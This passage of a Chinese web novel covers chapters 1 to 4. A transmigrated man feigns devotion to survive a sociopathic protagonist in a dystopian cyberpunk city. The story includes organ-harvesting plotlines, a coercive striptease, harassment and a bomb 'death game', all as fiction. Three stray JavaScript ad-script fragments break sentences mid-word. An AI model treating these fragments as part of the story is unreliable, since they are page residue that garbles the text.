《伪装疯批》 1. 第一层 沈言双手交叉抵着下巴,凝重地盯着桌子上透明的原味营养液。 肚子咕噜咕噜地叫,右手手腕由政府统一发放的体征表正闪烁着无情的红光。 这具已经四天没进食过的身体濒临崩溃。 如果今天还没有能量摄取,当地的健康小分队,就会在次日赶到临时安置所,将他回收。 抵在下巴上的手摊开,沈言捂住脸,无声尖叫。 可是吃了也是死啊!!! 沈言的头重重地砸到桌面上。 这是一本小说。 他穿到这个世界的第二天,就意识到隔壁友善英俊的邻居,是他穿越前在追的那本烂尾小说《嘘》的主人公,阮知闲。 小说背景设定在2924年,经历过第六次工业革命的社会资源枯竭,一部分人离开蓝星去红星、黑星发展。 在历史变迁下,黑星渐渐成为经济最发达,人口最密集,同时也是两极分化最严重的星球。 位于金字塔顶端的财阀掌控政治,财阀载歌载舞挥霍无度,下层居民被人剥削,只能苟且偷生。 而他,这具身体原本的主人,就是下层中的下层。 一个月前因偷窃失去工作,每天上街靠捡点垃圾勉强度日。 后来新能源环保法案发布,垃圾统一回收集中处理,他连垃圾都没得捡,差点饿死。 是男主帮他一把,捡他回家,喂他营养液吃。 不仅如此,在他醒后,善良的男主还帮他找工作,在他被当地□□刁难恐吓时,挺身而出,又救了一波。 不出一个月,他就把男主当成自己这辈子最重要的人,狂热崇拜。 然后被男主利用,榨干所有价值。 最后送到黑诊所,暗示他掏心示爱。 人都躺手术台上了还没明白怎么回事呢,自己脱了衣服,热泪盈眶,非常感动地对终端那边的男主说: “我终于可以为你做点什么了。” 屏幕里的男主微笑点头,医生开刀取出心脏。 在他意识消散前,黑医恶劣地揭示真相,说男主根本没有心脏病,他的心脏之后会被健康小组回收,他被骗了。 可怜的炮灰气得浑身发抖—— “你不许污蔑他!” 沈言看到这里的时候两眼一黑。 他很难理解作者是以什么样的精神状态写出这种剧情的。 然而这还只是开胃小菜。 之后的男主集齐了三大天王——超大力的出逃实验体杀人犯、热衷于cosplay乖宝宝给自己找妈并弑母的诈骗犯、从小就爱玩火梦想是点了黑星的清冷纵火犯。 在男主的指挥下,四人从罪恶都市十三区一路杀到一区,干天干地,路过的狗都得挨上一脚。 正常来说,应该是这样的。 但是,在他们干到七区,一切蒸蒸日上,大反派即将解决的时候,作者烂尾了。 他突然写男主觉得无聊,想要毁灭一切。 之后的剧情急转直下,男主亲手摧毁全部势力,而自己也在星警找上门时,用枪抵住了自己下巴。 ——全文完。 时至今日,沈言还能想到自己看到“全文完”三个字时的震撼、痛苦、迷惑和愤怒。 但后来仔细想想,以主角的性格做出这种事其实也没有崩人设。 一个随心所欲的疯批,一个在实验中寻找快乐的愉悦犯。 沈言穿成的这个倒霉蛋,是他第一个试验对象。 沈言饿得脑袋发昏,想了想,还是决定把男主给的营养液吃掉。 他穿过来的时机不巧,刚好在两人的“蜜月期”。 他已经被男主救下,他也在男主的鼓励下重拾信心,开始出门找工作。 男主借给他六支营养液,让他不够再来敲门管他要,沈言穿来的时候他已经喝了五支,最后剩的这个摆在桌面上。 沈言沉思许久,在太阳下山时,才把营养液喝掉。 问题不大。 他…… 有一点小想法。 —— 老旧的安置楼,每月仅需三百星币。 作为廉价房租的交换,此处居民需要签署合同,其中一条居心险恶。 租期十年起步,十年内,房东拥有租客的尸体处置权。 在此期间,想要搬离,需要付出的违约金在五十万到一百万不等。 而十三区的一份普通工作,工资仅有两千左右。 这也是沈言假装昏倒,准备钓男主上钩的原因之一。 阮知闲盯上的猎物,绝没有被放走的可能。 就算他侥幸离开,房东也会把他抓回来继续住。 不如先顺着剧情走,找机会离开。 楼下传来很轻的脚步和衣物摩擦的声音。 沈言闭眼,放轻呼吸。 脚步声越来越近,最后在楼梯口,离沈言大约三四步的位置停下。 沈言闭着眼睛,一切感觉都变得格外清晰。 空气中飘荡的灰尘并着难闻的霉味一同钻入鼻腔,与之格格不入的是极其细微的某种清爽的味道。 沈言说不好那是什么味,但毋庸置疑,在这样陈旧的空间内,它的确令人心旷神怡。 可是,为什么没有声音? 十八岁的男主尚且稚嫩,但由于复杂的家族背景,他早就掌握了通过细枝末节看透一个人的能力,他应该第一眼就看出来他在装昏才对。 男主大概率不会戳穿他,他更可能继续扮演热心善良的隔壁邻居,把他带进房间,并将这件事作为日后pua的利器。 他太擅长利用、扩大别人的善良和愧疚。 应该是这样的。 他为什么还没动? 沈言的心砰砰直跳。 又过了十几分钟,周围还是一点动静都没有。 冰凉的混凝土地面,都被沈言的身体煨得发暖。 什么情况? 沈言眼睫微颤,悄悄睁开一条缝。 正对上男主那双平静的、不带任何情绪的眼睛。 不知这样看了多久。 卧槽! 沈言心脏狂跳,额角和后颈渗出细微的汗。 问题不大,再演一下。 “啊……” 沈言气若游丝地张嘴,模仿自己大伯临终前的样子,颤颤巍巍地抬起一根手指,而后力不可支地落下。 或许是实在没有力气,眼睛没办法完全睁开,低垂着,在长而浓密的睫毛的掩映下,显出十足十的可怜。 文中没有具体描写这个炮灰的外貌,沈言穿过来后惊讶地发现,身体是他的身体,脸也是他的脸。 所以支配起来十分轻松。 就是得迈过心里那道坎。 沈言快被自己演笑了。 人被逼到一定程度,真是什么都做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的出来。 还好,效果不错。 沈言仔细留意阮知闲的反应。 继承了父母双方优点的阮知闲,精致英俊的眉眼间带着几分阴郁的病弱气,但一米九几的身高和初见雏形的双开门肩膀又中和了这一点。 他唇角微妙地勾了下,骨节分明的右手取下沈言的黑框眼镜,将他的额发往后捋,完整地露出沈言的脸。 动作算不上轻。 他慢条斯理地把眼镜腿折好揣兜,起身,抓着沈言的一条胳膊,轻松地把人拽起来。 再一拉,瘫在地上的沈言,就完全被他抱在怀里了。 “哥。”阮知闲一边开门一边说,“你不适合做演员。” 沈言:…… 很好,很直白。 人生第一次演戏,大失败。 - 阮知闲冰箱里还剩两支营养液,他都拿出来,一支青色的,一支乳白色。 阮知闲问:“苹果和牛奶,喝哪个?” 沈言头都快低到胸膛里去,嗫嚅道:“都、都可以。” 阮知闲没多说什么,把牛奶的递给了沈言。 相顾无言。 安置房都不太大,二十几平方的小房子,床边是书桌,桌子不远的地方是茶几,两人坐在地上,腿只能蜷着,伸展不开。 紧靠着大门的鞋架上放着几双运动鞋,墙面贴着当红影星的宣传海报,桌面的电脑应该是淘的二手货,机箱看上去有点破烂。 沈言进门时趁着阮知闲不注意大概扫了一眼,注意到里面这些生活化的装饰后,忍不住感慨: 他真的很会演。 作者没具体透露阮知闲的身份背景,只说他来自一区,有洁癖和强迫症,行为举止和穿着打扮都与十三区的人格格不入,一眼就能看出来的气势非凡。 他深知入乡随俗和避讳锋芒的道理,不到一天就改头换面,成功装成外冷内热的善良男大。 白天做做好人好事做兼职赚小钱,晚上则穿梭在十三区的各个角落找乐子。 比如巧妙地挑拨离间,让两个□□发生火并,或者在后街随机挑选几个幸运儿玩人性游戏。 后来这些游戏腻了,他开始考虑更有意思的玩法。 造神。 毫无疑问,他就是神,他会成神。 现在还在酝酿阶段,真正明确造神这一概念,是在原身死后。 一管营养液下肚,沈言轻轻地把喝光光的营养液放回桌上,飞快地看了阮知闲一眼。 谁知道阮知闲竟然也在看他,黑沉沉的眼睛似笑非笑,别有深意。 沈言重新低头,干巴巴道:“我、我有在找工作,之前欠你的营养液我肯定可以还,我今天只是……太饿了。” 阮知闲往后靠,脱掉宽大棒球服的他只穿了一件无袖黑T,脖子上挂着做旧的银链,银链底下坠着三四个垂到胸口的羽毛吊坠。 他拿起一根在指尖摆弄,漫不经心道:“哥上次也这么和我说。” 沈言难堪地抿紧唇,声音小得几乎听不到。 “对、对不起。” 阮知闲笑了下,“没有怪哥的意思,只是有点生气,哥饿了直接和我说就好,为什么要撒谎?” “还是说……” 他突然凑近,直勾勾地盯着沈言。 “你不是他?” 沈言心里松了口气。 很好,上钩了。 2. dance! 阮知闲最讨厌无聊。 一眼就能看穿的毫无价值的单细胞生物、给两顿饭就痛哭流涕感动得无以复加的傻白甜,和只要几句甜言蜜语就可以交出全部的恋爱脑,并称为阮知闲与人交往时的三大雷点。 反推成立。 越冷酷无情,越难以捉摸,越让人忍不住探究层层伪装之下究竟是什么的人,越能苟到最后。 沈言决定以阮知闲为模板,伪装疯批。 男主啥样他啥样。 但是在这一核心人设之外,还得多套几层。 不能让男主太轻易地看穿他。 最外面的那一层很重要。 什么人设既不会让阮知闲怀疑他的身份,还能引起他的注意? 很简单。 阮知闲恐同。 那就装gay试试看。 —— 沈言红着脸往后撤,眸光闪烁,嗫嚅道:“知闲,你、你靠太近了。” 根本没听他说话的样子。 阮知闲坐回去,表情没什么变化,只是突然岔开话题,“哥对工作有什么想法吗?” “工作啊……”沈言手背贴着自己涨红的脸,叹了口气,“我什么都不会,哪轮得上我挑挑拣拣?” “那要不要来我这里?”阮知摆弄吊坠羽毛,“店长业务扩张,待遇不错,不过……” 沈言脱口而出:“我愿意。” 等说完这话,他才反应过来自己说了什么似的,头恨不得埋进胸里,脸涨得通红。 他磕磕巴巴、欲盖弥彰地找补:“我的意思是,呃,我很需要一份工作,谢谢。” 阮知闲失笑,“紧张?放心,店长人很好,只是环境有点乱,哥你肯定没问题。” 沈言垂着眼睛,黑而长的睫毛,在眼下落出一片扇形阴影。 “……好。”他顿了下,鼓起勇气,抬起头,小声说:“我很期待。” 之后两人没再多聊,阮知闲含笑送走沈言。 阮知闲没有第一时间离开。 他没什么表情地看着家门口的监控视频。 沈言出门后,捂着脸弯腰,十分诡异地发出细小的声音。 “太好了,要和知闲一起工作。” “又离他更近了呢。” “如果可以……” 后面的话太过琐碎模糊,阮知闲听不清,但是从沈言红透的耳根,大概能猜出一二。 在门口发了好一会儿癫,他才回自己家。 阮知闲移开视线,带上手套,面无表情地收拾房间。 沈言碰过的营养液废瓶,扔掉。 坐过的地方擦四遍。 还要喷空气清新剂,抹掉最后一点气味残余。 然后打开窗户通风,在清新的晚风中,预定一千一晚的酒店,入住时间为七天。 —— 这份工作,是原主彻底对男主死心塌地的转折点。 原著中,成功应聘酒吧服务员的沈言,笨手笨脚地把酒撒在客人身上。 客人勃然大怒,看到他的脸后又色心大起,说陪睡一个月就原谅他。 是阮知闲凭借超高情商,哄得客人心花怒放,不再揪着此事不放。 原主感动得无以复加,男主趁机提出要求。 他想要让原主陪他去治病。 他有心脏病,私立医院太昂贵他治不起,公立医院又不收他这种三等公民,只好去黑诊所治疗。 原主把他治病过程中的痛苦看在眼里,并在黑医的潜移默化下,对贩卖器官产生兴趣,先后出售了除心脏之外的所有器官。 即使男主最后不暗示他献出心脏,浑身劣质机械替代品的他也活不了几年。 沈言的确需要工作,酒吧的薪资足够他勉强维生,从随时会被回收生命权的五等公民,竞升为四等。 除此之外还有附加好处。 和阮知闲一起工作,就意味着接触他的时间更多。 阮知闲的恐同程度,比沈言印象中更深一点。 原著里,他陪沈言一起面试,现在却让他自己去。 如果装gay能让阮知闲恶心到放弃他这个猎物就好了。 但在阮知闲流露出放弃倾向之前,该装的还是得装一装。 沈言打开自己的破烂电脑,一边放热辣脱衣舞视频,一边登陆书里写过的黑客自建站。 【梅花六】:新人? 【方片五】:救命,五十年前的老古董,运行的时候真的不会爆炸吗 【兔子】:你的推荐人是谁?你是怎么找到这里的? 【老虎】:去填写基本信息,完成注册后会给你发一笔奖金。 【方片五】:哈哈哈老虎哥哥,人家注册的时候怎么没有奖金捏?补发一下呗。 【老虎】:滚。 右下角的聊天室不断弹出消息,从登陆到现在不过几秒钟,沈言的位置等信息就被扒了个底朝天。 要不是因为电脑太老,病毒又多,还没有摄像头,沈言角度诡异的大头照,早就被挂起来群嘲了。 沈言没管聊天室里,针对他这个新人各种不靠谱的讨论,直接点开站长的头像。 是一个微笑的表情。 【用户0982】:如果你想离开,来找我。 留下语焉不详的一句话后,沈言挂着网站,又反手打开第三个网页。 编程语言入门教程。 不大的屏幕被分割成两部分。 左边是正经严肃的电子教材,右边是成年男性性感脱衣舞。 沈言看得津津有味,熬了一整个通宵,还是神采奕奕。 果然学习就得劳逸结合。 第二天的面试顺利通过,当天晚上正式上岗。 昏暗的酒吧,节奏炸裂的鼓点刺激着人们的耳膜,男男女女和双性人、机器人在忽明忽暗的霓虹灯下摇摆着自己的身体。 卡座里的客人在营销强烈推荐下又启开一瓶香槟,喷射出去的金黄酒液喷到店里的陪酒身上,很快就被顾客舔去了。 “听老板说今天来了新人。”镶了满口大金牙的男人,凑到陪酒耳边说:“长得怎么样?” 陪酒神秘地笑了笑,“您肯定会喜欢。” 阮知闲听了一耳朵,并不好奇,往这边的卡座放了几瓶酒后离开。 九点半。 人群喧哗,闪烁的霓虹灯只留下一盏,酒吧完全暗下来,位于酒吧中央的升降台徐徐上升,正中央呈放着完全密闭的半人高金属大箱子。 这家酒吧生意爆火的原因之一,就是每天晚上都有类型不同的特别节目。 所有人短暂的安静下来,把目光投到台子上。 “今天是谁?江森?” “江森都看腻了,总是那一套,没意思。” “薇薇?李亚?还是我们的小明星?” “小明星早跳槽了,现在在谜肆那儿干呢,另外两个我记得被人包养了。” “操,那还有什么好看的?” 逐渐紧张的音乐声中,众人的讨论也渐渐停止,心脏随之紧张起来。 砰! 在气氛达到顶点时,音乐停止,铁箱子的四面猛地打开,露出被困在笼子里的男人。 他跪坐在台上,眼睛和手腕被黑色领带束缚,脖子带着的项圈,铁链垂在地上,剪裁得当的西装三件套严丝合缝地包裹着他的身体。 顺着笔直修长的腿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向下,是介于西装裤和黑皮鞋之间,一截被白袜包裹的脚踝。 听到声音变化,他坐直,膝行至笼边。 “……有人吗?” 所有人不约而同地安静下来,没得到回应的男人,不耐烦地皱眉,“无聊的恶作剧。你要多少钱?” 依旧没人说话。 他好像有点慌了,抓着笼子用力摇了摇,“喂,有人吗?放我出去!” 气氛变得有点微妙,男人过分真实的演技让他们不免动摇,但谁都没能把目光从他身上移走。 他……很漂亮。 不是那种软弱可怜的漂亮,正相反,他的气质很正直,五官端正,鼻梁笔挺,薄唇是有些深的枣红色,虽然看不到眼睛,但他脸型流畅优越,再难看也不会难看到哪去。 他像一个刚下班,正准备开着新款飞行车回家,却被坏人迷晕,抓来这种三流垃圾地卖身的企业高管,就连求救也带着一股高高在上的味道。 让人忍不住摧毁、践踏,踩烂他的尊严和理智,当他的主人,让他跪在脚下,乖乖摇尾巴。 很快有人满足了他们的幻想。 升降台的内置机关再次开启,笼子右边出现另外一个男人。 江森今天打扮成驯兽师的样子,左手拿着皮鞭,右手竖起食指,对有些骚动的观众做出一个安静的动作。 他绕到笼子前,掏出一串钥匙,晃了晃。 钥匙相碰,发出哗啦啦的声响。 笼子里的男人唇角勾起,笑容轻蔑。 “我就知道,你……” 话还没说完,就被粗暴地扯住头发,从笼中拽出来。 音乐突然响起,在观众们的欢呼声中,江森将手上的铁链绕了两圈,用力一拉。 刚爬到台边的男人被强行拖拽回来,身体后仰,脖颈至胸腔腰腹形成一道很有张力的曲线,他扣着脖子上的项圈,在江森踩他背时反手肘击,却因这个动作,被江森轻易地脱掉了西装外套。 就在这时,天花板喷洒酒液,男人的衬衫被打湿,紧紧贴在身上。 所有人都清晰地看到了,他被禁欲严肃的西装下,被黑色束缚皮带勾缠的,色气的身体。 酒吧瞬间沸腾。 江森一鞭子抽下去,男人闪身躲开,但被牵扯到狗链又注定他逃不太远。 一场带有某种强制的暗示意味的脱衣舞,在众人狂热的欢呼声和劲爆的音乐中,正式开始。 —— 演出结束,升降台落下一半,众人争先恐后地伸手去触碰沈言。 沈言身上混杂着亮晶晶的酒液和汗珠,他半蹲在台上,动物似地俯身,让人肆意抚弄他的胸腹,并将大把钞票往皮带和皮肉的缝隙和内裤里塞。 他好像很不适应这种触摸,动作有些僵硬局促,但很有职业素养,眉眼和嘴巴都在笑。 有的人拽着他的手腕不松开,一边给钱一边说想被他踩。 刚刚表演时气势十足,直到最后也没服软的男人,不不知道怎么处理这种场面,只好将求助的目光投向旁边的江森。 但没等江森出手,旁边就有人一脚踹过去,填补那个不懂规矩的粗鲁男人的位置,过来摸他。 如果不是江森拦着控场,他可能会被过分热情的观众拉下去。 后果不堪设想。 角落休息的阮知闲,目不转睛地盯着在台上的沈言。 打赏时间终于结束,他咬碎口中的糖果,糖果渣滓刺破口腔,让他在甜蜜中尝到一丝血味。 他咽下这股味道,往休息室走去。 一个懦弱无能的死gay,意料之外地偏离了他的控制。 有趣。 他想见沈言了。 3. 恶心 “沈言?有没有人说过你的名字很好听?而且你和我的名字都是两个字,好有缘。” “谢、谢谢。” “以后就是同事,不要这么拘谨嘛,想想我们在舞台上的默契配合,说真的,我都要爱上你了。” 沈言不太好意思地笑了下,沾了点卸妆水,小心覆盖在江森画了夸张眼线的眼睛上,“你也很好,我第一次做这种工作,如果没有你,我可能适应不来。” 江森扭头看他,对他抛了个媚眼,“工作结束要不要去喝一杯?” “我……” 江森拽着沈言的胳膊,“来嘛,不止我,还有一些员工,老板也在。” 沈言:“那个、阮知闲也在吗?” 站在门口,正准备推门而入的阮知闲,停在门外。 江森拉长声音:“哦——阮知闲?你认识他?你喜欢他?” “当然不是!他是我的邻居,这份工作就是他介绍的,顺便问一下而已。” 江森眯起眼睛,用一种审视的目光望着他。 沈言继续帮他卸妆,很温和地说:“他帮了我很多,没有他,我可能在半个月前就饿死街头了。” “呵。”江森翻了个白眼,“那他可真是足够幸运。” 顿了下,又忍不住笑道:“怎么这样看我?我说错了?” 沈言:“幸运的人,应该是我才对吧。” 江森自然而然地拉起沈言的手,仰头看他,“没有贬低你的意思,但是如果是我,用一点营养液,一份需要自己面试的工作,就能换来衷心可爱又漂亮的小狗……” 他意有所指地摩挲沈言的手指,暧昧道:“就算让我减少十年寿命,我也愿意。” 沈言惊慌失措地想把手抽出来,江森的力气比他大,人家一用力,反而把他拽了过去,被强按在江森的腿上坐着。 江森搂着他的腰不让他起来,“宝贝儿,你知道你有多迷人吗?包括我在内的所有人都在为你欢呼,你……” 咚咚。 清脆的敲门声。 没得到进入许可的青年,平静地进入了化妆室。 江森一时不察,沈言脸色煞白、连滚带爬地弹射起步,跑到阮知闲身边。 沈言没有贴阮知闲贴得太近,只是自以为不引人注意地伸出两根手指捏了捏阮知闲的夹克外套。 阮知闲和面色阴沉的江森对视,“不好意思,沈哥我先带走了,我怕黑,晚上要和他一起回家,你不介意吧?” 江森冷笑,看着躲在阮知闲后面的沈言:“宝贝儿,我家离这里很近,有一百八十平,昨天还买了好吃新鲜的水果蔬菜,你吃过吗?要来尝尝吗?” 对于四等、五等公民来说,新鲜的食物的确有很大的诱惑力。 阮知闲看向沈言,沈言飞快地摇头,捏着他夹克的两只手指变成了一整只手。 攥得很紧,夹克被抓得发皱。 阮知闲看了一眼,没扫开他,转头对江森说:“哥不愿意。” 说完,转身就走。 沈言紧跟在阮知闲身后,化妆室的门没关,从后面隐约能感受到江森强烈到有如实质的视线。 等出了酒吧,沈言才重重地松了口气。 十三区位置偏北,不到十月,天就已经很凉了。 沈言只顾着帮江森卸妆,走的时候又太匆忙,没来得及拿外套。 晚风吹过,沈言打了个哆嗦,下一秒,带着温度的外套就罩在了他的身上。 沈言一愣,转头看阮知闲,他比自己穿得还少,连忙往下脱,“我不冷的,你快穿回去,很快就到家了。” 阮知闲:“不要。”他看着沈言,勾勾唇角,显示出几分顽劣的少年气,“哥不要就扔掉。” 快走两步,把沈言丢在后面,一副下定决心的样子。 阮知闲看不到他身后的沈言,也看不到沈言脸上的欣赏。 看书的时候,站在主角的视角看问题,做很多坏事的主角即使坏也坏得很有人格魅力,让人喜欢。 穿到这个世界,真正和阮知闲接触,才发现这人的确和书里写的一样可怕。 如果他不是从外面穿来的,只是这个世界的普通人,是否能在每一次困境中,抵挡住他这一波又一波的关心? 只能说不一定。 就算他是穿过来的,知道这人坏到流黑水,也很有可能在日常相处中动摇: 什么是小说什么是现实?除了他还有谁会对我这么好? 沈言垂眸,清醒地给自己打上一阵强心剂: 藏在甜言蜜语后的是死亡陷阱,一旦中计,迎接他的命运只有死亡。 保持警惕。 保持警惕。 保持警惕。 - 到了家,沈言忙不迭地把衣服脱下来递给阮知闲。 阮知闲推了回去,“我不习惯用别人用过的东西,哥你收着吧。” 太过贫穷的沈言,连外套都没一件像样的,今天穿来的薄外套只能勉强御寒。 明天气温骤降,今天收到的打赏,只够支付这个月由当地管理人员同意收取的“生活费”,想要过上勉强吃饱穿暖的生活,至少要等到下个月了。 沈言抱着衣服,显然不信他的说辞,只将这句话当成照顾他自尊的关心,抬眼看他,眸中闪烁着柔和的光。 “谢谢。” 沈言一顿,懊恼地低下头,“我对你说了好多谢谢,却没做任何报答你的事情,对不起。” 阮知闲突然道:“过分。” 沈言没反应过来。“什、什么?” 阮知闲双手插兜,头顶楼道口暧昧不明的黄色光线,落在他带了点邪气的眉眼上,落在沈言身上的目光,有些散漫、戏谑。 “那哥来报答我吧。” 沈言眼神躲闪,压根不敢和他对视,因为太过紧张,又变成一个小磕巴。 “当、当然!请说!我一定可、可以做到!” 阮知闲命令道:“穿上衣服。” 沈言一时没反应过来,阮知闲沉着脸问:“不行?” 沈言一惊,红着脸手忙脚乱地穿上衣服。 阮知闲比沈言小两岁,衣服却比他大一号,肩膀松松垮垮的,袖口又太长,完全不合身。 阮知闲:“向后转,向前走三步。” 沈言犹犹豫豫地照做。 身后是阮知闲恶作剧成功后,带了点笑意的声音。 “回家睡觉,这是最后一个任务。” “哥,晚安。” 沈言猛地转身,门在他眼前飞快地合上。 回了家的阮知闲,和上次一样,鬼使神差地调出了门口的监控。 沈言果然没有回家,在门口徘徊几秒钟,抬手做出要敲门的动作。 大概因为怕打扰他休息,又或者是怕他发现自己没有按照玩笑性的命令行事,惹他不快,最终还是把手放了下来。 沈言走出画面。 没什么好看的了。 正要关闭画面的阮知闲,突然听到很细微的埋在什么地方,用力嗅闻的吸气声。 随后是比吸气声更大一些的满足的叹息。 “哈……”。 他下意识调成静音,又在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一秒后,将声音拉到最大。 性能良好的监控,不仅能超高清地呈现图像,还能让声音近得仿佛就在耳边。 在反复三次的奇怪呼吸声后,他听见了非常含糊的,自己的名字。 “知闲的、衣服。” “嘿嘿。” 调到最大声的关门的声音炸响,阮知闲面无表情地关掉画面。 恶心。 - 与此同时,沈言随手把夹克一扔,家里没人监控,这回是真的笑出了声。 嘿嘿,阮知闲恐怖归恐怖,他沈言也不差啊。 这演技,这水平,要是能回自己的世界,必须得让他家里人投钱拍拍电影。 可惜回不去。 被大卡车撞飞并二次碾压,无论怎么想都没有生还的可能。 不知道是哪个盯着他家不放的仇人干的。 但是问题不大,他兄弟姐妹有好几个,没了他大家或许会伤心,但绝不会因为他影响日常生活。 沈言想得很开。 无论在哪个世界、什么情况,都要好好生活。 他家里人教的。 沈言稍微休息了一下,想起自己晚上表演后的、针对阮知闲的精彩表演,顿时精神百倍,从床上窜起来。 今天的工作还没做完。 当gay能让阮知闲远离他再好不过,要是不能的话就得启用双层保险。 阮知闲是黑客,他也得会黑客的技能。 虽然不能在短时间内达到顶尖水平,但和人交往时忽悠忽悠,假装自己是很厉害的黑客,要简单很多。 他打开电脑,找到昨天学了一半的电子书继续学习,右边换了个更优雅的脱衣舞舞男。 这一次倒不是为了学怎么跳脱衣舞,只是因为他精力容易分散,同一时间只做一件事对他来说很难。 在正式进入学习之前,沈言打开黑网,在论坛小白区又逛了一圈。 勉强能看懂一点点,但想要真正装成黑客,还得至少半个月的时间。 沈言给站长的留言没得到回复,孤零零地挂在黑色的对话框里。 意料之中。 本来也只是试一试。 主角团的纵火专业户,兼主角之外的第二大顶级黑客,怎么可能这么快上钩。 他在小说中期才加入主角团,而在加入之前,他就在网上和匿名的主角有联系。 联系的媒介就是这个网站。 在主角的帮助下,布雷兹一把火烧了家里所有人,点燃整个第七区,成为联邦臭名昭著的纵火犯。 但因为他擅长黑客技术,不动声色地篡改了中央档案中的,关于自己追杀令中的细节,以至于搜捕他的机械,就算他站在面前也没有反应。 现在他应该还被囚禁在家中,接受大脑改造,被家族视为讨好上级资本的希望、工具。 沈言挂着网站,一目十行地读完。 在他点开下一本时,电子书乱码,全部变成黑色问号。 沈言切回网站。 聊天框显示,对方正在输入。 沈言完全没管,调出脱衣舞男,继续看书。 刚看了两行,屏幕一黑,白色字符在屏幕上跳跃。 ——找到你了。 电脑屏幕闪烁,重新开机,不过这次电脑画面始终停留在对话窗口。 沈言没尝试去关闭,想也不想,直接打字。 【用户0982】:不信。 【用户0982】:送个极影18promax512G闪电紫看看实力。 【flame】:? 4. 死亡游戏 高耸入云的摩天大楼周围是极速飞过的悬浮车,红蓝霓虹灯下的城市繁华迷乱,连绵雨线下,整个城市笼罩在水汽之中。 七区,伊甸九号,庄园内。 布雷兹洗过澡,一头颜色浅淡的金发随意披散,没吸干净的水珠,打湿了他墨绿色的睡袍。 但他此刻没有心情去关注这件事。 房间没有开灯,数个显示屏有序分布,几乎盖住了一整面墙壁。 现在只有三个亮着。 布雷兹将其中一个拉到自己面前,对话框倒映在他碧绿如翡翠的眼睛里。 他建立的网站,他拥有最高权限,他不仅能轻易获得对方IP,还能知道对方“正在输入中”,具体意味着什么。 梅花六汇报工作很简洁,公事公办;方片五爱说废话,有时候会在对话框里吐槽公司的不合理制度,然后全部删掉;老虎不爱打字,经常是语音输入后再删删改改才给他发。 而在网络对面,完全不属于这个网站,也完全不知道他身份、地位的陌生人,竟然能毫不迟疑地跟他说—— 【用户0982】顺便再来两栋一区中央区的别墅、往我卡里充一万块,和一只小猫吧。 布雷兹觉得很荒谬。 他是认真的吗? 如果不是,又为什么要和他开玩笑? 用户0982毫不客气的态度,让布雷兹怀疑自己是不是和他有过交集。 不,正是因为他们完全不认识,他才敢这么放肆。 短暂的恍惚后,他又想,是不是网站屏蔽系统忘了开,这才让所谓的“0基础电脑小白”,闯了进来。 他打开后台查看,十六位密码没有被外力强行破解的痕迹。 十三区的下城街,贫民窟里的贫民窟,对方使用的设备是五十多年前就淘汰的双鹰x776,连运行游戏都很吃力的政府补贴机,怎么可能毫无痕迹地破解他的密码? 【flame】:你怎么做到的? 沈言暂停舞男,一边和布雷兹说话,一边继续飞速看书。 【用户0982】:老大教的,他让我来找你。 【flame】:谁? 【小火汁】:别管那个了,看我新改的名字,怎么样? 那边没有动静。 【小火汁】:极影最近好难买,没有闪电紫,暗夜黑也勉强吧。当然如果你愿意,可以送我一台电脑,这个我不挑,随便什么都行。 【flame】:贪得无厌。 【hate flame】:哭哭qaqqq 【hate flame】:我要学习了,好难,有问题可以请教你吗? 【flame】:不可以。 【love flame】:现在呢? 【flame】:你凭什么认为,只是更改昵称,就会让我帮你? 【very love flame】:真的难,如果你不教我,我可能会蒙在鼓里一辈子。 【flame】:…… 【flame】:你不需要我。 沈言轻笑。 他脑子聪明,学习速度很快,但说实话,一个没怎么接触过计算机的普通人,实在是很难在短时间内将刚刚看的那些东西全都吸收干净。 更何况这是架空的赛博世界,一切东西都要重新学起。 他这两天看完的这本书,能读懂十分之一就已经是老天开眼,需要谢天谢地。 滑得那么快,主要是为了让现在能勉强称为“老实人”的弗雷泽,误以为他是电脑天才。 趁机交个朋友,方便他日后的伪装。 【史诗级love flame】:你可以监控到我这边的画面吧? 【史诗级love flame】:等着。 沈言拉出编辑器,往其中输入自己早就准备好的编辑程序,一串串字母、符号和数字飞快略过,破旧电脑cpu的温度急速上升。 在一系列运算过后,屏幕上出现绿油油的,运算错误的提醒。 电脑的病毒太多,提醒出现后,闪烁两下,提醒消失,本来已经停止运转的程序,又一卡一卡地动了起来。 一只像素形态的,小小的火苗,突然出现在屏幕右下角。 在数据的洪流之间,小火苗把自己拉大,铺展成一个对话框。 【一堆毫无美感可言的垃圾程序和陈年老病毒,这就是你想让我看的东西?】 电脑的卡顿有减缓的迹象,侵入电脑的病毒,在另一人的操作下,一点点地清除干净。 对话框还在不断刷出信息。 【我不知道你是谁的人,也无所谓你有什么目的,但我劝你最好不要再来招惹我。】 【低劣的伎俩,无聊到让人发笑。】 沈言伸手摸了一下电脑。 嘶。 好烫。 他甩了甩手,空气中弥散着一股焦糊味,这才慢条斯理地在键盘上敲敲打打。 【我的电脑】 【要炸了】 【你】 那边飞快地弹出两个字:【什么?】 砰! 沈言不打算回答他,也确实回答不了。 只听一声巨响,电脑着了,黑烟徐徐上升。 早就准备在旁边的湿被褥,立刻将之盖住。 火势还来不及扩散,就被浇灭了。 沈言伸了个懒腰,起身去开窗通风。 被半夜的风吹得一激灵。 好像没什么要做的了吧。 等等。 沈言转头看向电脑。 这种房间不太隔音,刚刚发出那么大的动静,阮知闲怎么没来? 出去了? 沈言站在窗户边上沉思,往外看,楼底下有几个小混混喝多了正在打架,不远处的醉汉从地上捡起石头往他们身上砸。 可恶,竟然忘记这件事。 沈言连忙把被子拿开,捧着电脑往附近的电器回收站走。 然后假装迷路,误入了阮知闲早早准备好的“游戏现场”。 - 在房价高涨的十三区莲花市,因开发商卷款跑路而产生的废弃的烂尾楼不少。 冰冷的风穿过残破的建筑,发出低沉喑哑的呜咽声。 被一封无名消息引诱到这里的十三个人,精神紧绷地听着录音机里,扭曲过的机械声音。 它正在宣布游戏规则。 现场每人手中,都有一张写好了数字的纸,不远处有十三个纸箱,正对应着他们的数字。 只有一个纸箱是安全的,另外十二个里面都放着小型蜘蛛弹,只要打开,就会被它锁定,抱住头炸个稀巴烂。 当有人找到安全箱子,发现里面的安全弹时,其他藏在箱子里的炸弹,也会瞬间引爆。 附加的第三条规则很有意思,似乎更有生的希望。 